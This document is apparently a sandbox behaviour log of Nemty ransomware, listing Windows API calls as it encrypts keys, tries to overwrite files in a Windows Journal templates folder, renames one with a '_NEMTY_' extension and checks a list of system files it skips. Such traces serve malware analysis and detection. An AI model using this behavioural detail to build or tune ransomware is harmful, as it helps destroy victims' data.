(in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0101.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.866] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0101.866] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0101.866] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0101.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f942b0 [0101.866] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f942b0, pcchString=0x653ef9c | out: pszString="5cg8rgLJ+8TurcyYnDt+YDsiSaTTdqfdLUcsNPS/wc1Xu6Mlrdep2QuGvbZyRe3f\r\n9qKnqU/WVYI7N4aKu5imh41JyPS9/px5ia2oPCym+IqQUGJHaJuaOpJe8AKFotRf\r\n8NYpnwZ8gBcv+rctAwS0idvfre/4pSsu4j5IHJHtCrzyXipSK00pHE1Nl32sqbE8\r\nJX2utrV1bRWljAOw6k3yXFjPUxwrrunTXUg07ULa/ZGGjZ4w3d2j7Sdh7+IIUbFr\r\nk5hVkwM2xI71z6NshCd9b5cSRCMcHuR+y3UB3ThlPcqibWQMkriQ4b9nBVg/WSTS\r\nmiaR+MIOgWZ5yrQ4sVgwEg==\r\n", pcchString=0x653ef9c) returned 1 [0101.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0101.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0101.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f942b0 [0101.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0101.866] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.867] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0101.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0101.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f942b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0101.974] CloseHandle (hObject=0xffffffff) returned 0 [0101.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0101.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0101.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0101.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400c0 [0101.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp._nemty_kgobjgd_")) returned 0 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0101.974] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1 [0101.974] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".") returned 1 [0101.974] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="..") returned 1 [0101.974] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="...") returned 1 [0101.974] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="windows") returned -1 [0101.974] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="$RECYCLE.BIN") returned 1 [0101.974] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="rsa") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="NTDETECT.COM") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="ntldr") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="MSDOS.SYS") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="IO.SYS") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="boot.ini") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="boot.ini") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="ntuser.dat") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="desktop.ini") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="CONFIG.SYS") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="RECYCLER") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="BOOTSECT.BAK") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="bootmgr") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="programdata") returned 1 [0101.975] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="appdata") returned 1 [0101.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shorthand.jtp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0101.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shorthand.jtp", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shorthand.jtp", lpUsedDefaultChar=0x0) returned 13 [0101.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shorthand.jtp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0101.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shorthand.jtp", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shorthand.jtp", lpUsedDefaultChar=0x0) returned 13 [0101.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shorthand.jtp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0101.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shorthand.jtp", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shorthand.jtp", lpUsedDefaultChar=0x0) returned 13 [0101.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shorthand.jtp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0101.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shorthand.jtp", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shorthand.jtp", lpUsedDefaultChar=0x0) returned 13 [0101.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942b0 [0101.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0101.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0101.976] Sleep (dwMilliseconds=0x5) [0101.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0702270, dwHighDateTime=0x1d561e7)) [0101.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0702270, dwHighDateTime=0x1d561e7)) [0101.991] GetLastError () returned 0x5 [0101.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0101.991] GetLastError () returned 0x5 [0101.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0101.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.991] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0101.991] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0101.991] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0101.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0101.991] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="skEU4sk0RamSj9Ljd4LQAUMxFplM3BlZfZD7yye9f4TxCpy357ZFeD9KSf5osSDy\r\nLWySWuKiWc0/Oft8fT1c3/0i82waoZbGQc+YOJrh5Pve2Aq8hZ3dxDpDh7UJEFRd\r\nNuEVr2oIKQuY2RB5OaPg0psPb6WVPpoVST1fPCmzeKM5CPdb+ABo0ZzVR3+y84Wk\r\nNLW2OGPDRvC9U4RPxWOMf3+PoJDrmDyhbq8H0iDsc/IexwyIB+6c3mx2336CPTr/\r\nNTFto713mZRG7Nssv1nUmXYgTwkr1WSclg9MLTzySueGnW56YjGdW/F78JJgf7h2\r\nXMUmPAMJx3BfaE4YtHGFxw==\r\n", pcchString=0x653ef9c) returned 1 [0101.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0101.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0101.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0101.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0101.991] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.992] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0101.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0101.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.001] 